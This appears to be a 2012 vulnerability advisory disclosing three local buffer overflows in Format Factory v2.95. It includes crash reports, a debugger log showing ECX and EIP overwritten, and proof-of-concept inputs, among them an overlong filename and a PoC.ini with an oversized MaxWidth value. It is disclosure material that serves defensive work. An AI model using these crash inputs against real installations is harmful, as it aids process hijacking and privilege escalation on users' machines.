Title: ====== Format Factory v2.95 - Buffer Overflow Vulnerabilities Date: ===== 2012-05-02 References: =========== http://www.vulnerability-lab.com/get_content.php?id=536 http://www.vulnerability-lab.com/get_content.php?id=539 VL-ID: ===== 536 Introduction: ============= Format Factory is a multifunctional media converter. Provides functions below ... - All to MP4/3GP/MPG/AVI/WMV/FLV/SWF. - All to MP3/WMA/AMR/OGG/AAC/WAV. - All to JPG/BMP/PNG/TIF/ICO/GIF/TGA. - Rip DVD to video file , Rip Music CD to audio file. - MP4 files support iPod/iPhone/PSP/BlackBerry format. - Supports RMVB,Watermark, AV Mux. Format Factory`s Feature: - support converting all popular video,audio,picture formats to others. - Repair damaged video and audio file. - Reducing Multimedia file size. - Support iphone,ipod multimedia file formats. - Picture converting supports Zoom,Rotate/Flip,tags. - DVD Ripper. - Supports 60 languages - All Windows OS (Copy of the Vendor Homepage: http://www.formatoz.com ) Abstract: ========= The Vulnerability Laboratory Research Team discovered multiple Buffer Overflow Vulnerabilities in Format Factory v2.95 Software. Report-Timeline: ================ 2012-05-01: Public or Non-Public Disclosure Status: ======== Published Affected Products: ================== Free Time Product: Format Factory v2.95 Exploitation-Technique: ======================= Local Severity: ========= Critical Details: ======== 1.1 A Buffer Overflow vulnerability is detected in Format Factory v2.95 Software. The vulnerability allows an local attacker to overwrite the ecx & eip to control the affected vulnerable process. Successful exploitation can result is privilege escalation with system access rights of the affected vulnerable software process. The vulnerability is located on the Custom Profile module when processing to add a file. Vulnerable Module(s): [+] Custom Profile - File Add --- Error Report (System) --- Version=1 EventType=BEX EventTime=129801306605752827 ReportType=2 Consent=1 ReportIdentifier=0140e860-918d-11e1-ba1b-a7b309768cde IntegratorReportIdentifier=0140e85f-918d-11e1-ba1b-a7b309768cde WOW64=1 Response.type=4 Sig[0].Name=Anwendungsname Sig[0].Value=FormatFactory.exe Sig[1].Name=Anwendungsversion Sig[1].Value=2.95.0.0 Sig[2].Name=Anwendungszeitstempel Sig[2].Value=4f848c41 Sig[3].Name=Fehlermodulname Sig[3].Value=StackHash_059a Sig[4].Name=Fehlermodulversion Sig[4].Value=0.0.0.0 Sig[5].Name=Fehlermodulzeitstempel Sig[5].Value=00000000 Sig[6].Name=Ausnahmeoffset Sig[6].Value=00410041 <= ecx overwritten Sig[7].Name=Ausnahmecode Sig[7].Value=c0000005 Sig[8].Name=Ausnahmedaten ... & EventType=APPCRASH EventTime=129801310355837320 ReportType=2 Consent=1 ReportIdentifier=e0c79250-918d-11e1-ba1b-a7b309768cde IntegratorReportIdentifier=e0c7924f-918d-11e1-ba1b-a7b309768cde WOW64=1 Response.type=4 Sig[0].Name=Anwendungsname Sig[0].Value=FormatFactory.exe Sig[1].Name=Anwendungsversion Sig[1].Value=2.95.0.0 Sig[2].Name=Anwendungszeitstempel Sig[2].Value=4f848c41 Sig[3].Name=Fehlermodulname Sig[3].Value=FormatFactory.exe Sig[4].Name=Fehlermodulversion Sig[4].Value=2.95.0.0 Sig[5].Name=Fehlermodulzeitstempel Sig[5].Value=4f848c41 Sig[6].Name=Ausnahmecode Sig[6].Value=c0000005 Sig[7].Name=Ausnahmeoffset Sig[7].Value=00008f53 Picture(s): ../1.png ../2.png 1.2 A Buffer Overflow vulnerability is detected in Format Factory v2.95 Software. The Buffer Overflow Vulnerability is located when processing to load large file names. Successful exploitation results in a local null ptr buffer overflow. Attackers can form or load files (local) large names or extension name to crash the software stable when processing to save the input. The vulnerability did not allow to overwrite any registers of the affected vulnerable process. --- Error Report (System) --- Problem Event Name: BEX Application Name: FormatFactory.exe Application Version: 2.60.0.0 Application Timestamp: 4cd197df Fault Module Name: MSVCR100.dll Fault Module Version: 10.0.30319.1 Fault Module Timestamp: 4ba1dbbe Exception Offset: 0008ae6e Exception Code: c0000417 Exception Data: 00000000 OS Version: 6.1.7600.2.0.0.256.1 Locale ID: 1033 Additional Information 1: e07f Additional Information 2: e07f7afc2abe4439f8a8f96d499e3027 Additional Information 3: 5154 Additional Information 4: 515482f92719c2dc6fc04ebc97d28463 Picture(s): ../3.png ../4.png 1.3 A Buffer Overflow vulnerability is detected in Format Factory v2.95 Software. The Buffer Overflow Vulnerability is located in the *.ini configuration file when processing to load the maxwidth size. Local attackers can implement or replace the ini settings to overwrite the EIP register. Successful exploitation can result is privilege escalation with system access rights of the affected vulnerable software process. Vulnerable Module(s): [+] INI - Width & Height - Size & Buffer Validation --- Error Report (System) --- EventType=BEX EventTime=129801380523760695 ReportType=2 Consent=1 ReportIdentifier=371c0b8c-919e-11e1-ba1b-a7b309768cde IntegratorReportIdentifier=371c0b8b-919e-11e1-ba1b-a7b309768cde WOW64=1 Response.type=4 Sig[0].Name=Anwendungsname Sig[0].Value=FormatFactory.exe Sig[1].Name=Anwendungsversion Sig[1].Value=2.95.0.0 Sig[2].Name=Anwendungszeitstempel Sig[2].Value=4f848c41 Sig[3].Name=Fehlermodulname Sig[3].Value=StackHash_059a Sig[4].Name=Fehlermodulversion Sig[4].Value=0.0.0.0 Sig[5].Name=Fehlermodulzeitstempel Sig[5].Value=00000000 Sig[6].Name=Ausnahmeoffset Sig[6].Value=41414141 <= overwritten register EIP Sig[7].Name=Ausnahmecode Sig[7].Value=c0000005 Sig[8].Name=Ausnahmedaten Sig[8].Value=00000008 DynamicSig[1].Name=Betriebsystemversion DynamicSig[1].Value=6.1.7601.2.1.0.768.3 DynamicSig[2].Name=Gebietsschema-ID DynamicSig[2].Value=1031 DynamicSig[22].Name=Zusatzinformation 1 DynamicSig[22].Value=059a DynamicSig[23].Name=Zusatzinformation 2 DynamicSig[23].Value=059a393e1c4f8097b3d5573aa130c733 DynamicSig[24].Name=Zusatzinformation 3 DynamicSig[24].Value=563a DynamicSig[25].Name=Zusatzinformation 4 DynamicSig[25].Value=563a7086139512fa1af4651c2e9f9f50 Picture(s): ../5.png ../6.png Proof of Concept: ================= The stack & -buffer overflow vulnerabilities can be exploited by local attackers. For demonstration or reproduce ... 1.1 1024 bytes String via add custom name to reproduce the vulnerability. --- Exception Logs (ECX Overwrite) --- (109c.6a4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=001cb628 ebx=001cc340 ecx=00000041 edx=02dedfdc esi=fd3e3024 edi=00a522e0 eip=013b8f53 esp=001cb2e8 ebp=001cb2ec iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 *** ERROR: Module load completed but symbols could not be loaded for C://Program Files (x86)/FreeTime/FormatFactory/FormatFactory.exe FormatFactory+0x8f53: 013b8f53 66890c16 mov word ptr [esi+edx],cx ds:002b:001d1000=???? 1.2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAA.txt 1.3 ../PoC.ini Type=JPG Icon=4 MaxWidth=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA SizeLimit=0 Rotate=0 AddTagString=0 Angle=0.000 FontColor=0 TagString= FontName= Position=0 Margin=0 FontSize=0 FontItalic=0 FontUnderline=0 Note: Exploit available in python & perl. Risk: ===== 1.1 The security risk of the local buffer overflow vulnerability is estimated as high(-). 1.2 The security risk of the local buffer overflow vulnerability is estimated as medium(+). 1.3 The security risk of the local buffer overflow vulnerability is estimated as high(-). Credits: ======== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (Rem0ve) [rem0ve@vulnerability-lab.com] Vulnerability Laboratory [Research Team] - Ibrahim El-Sayed (the_storm) [storm@vulnerability-lab.com] Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. 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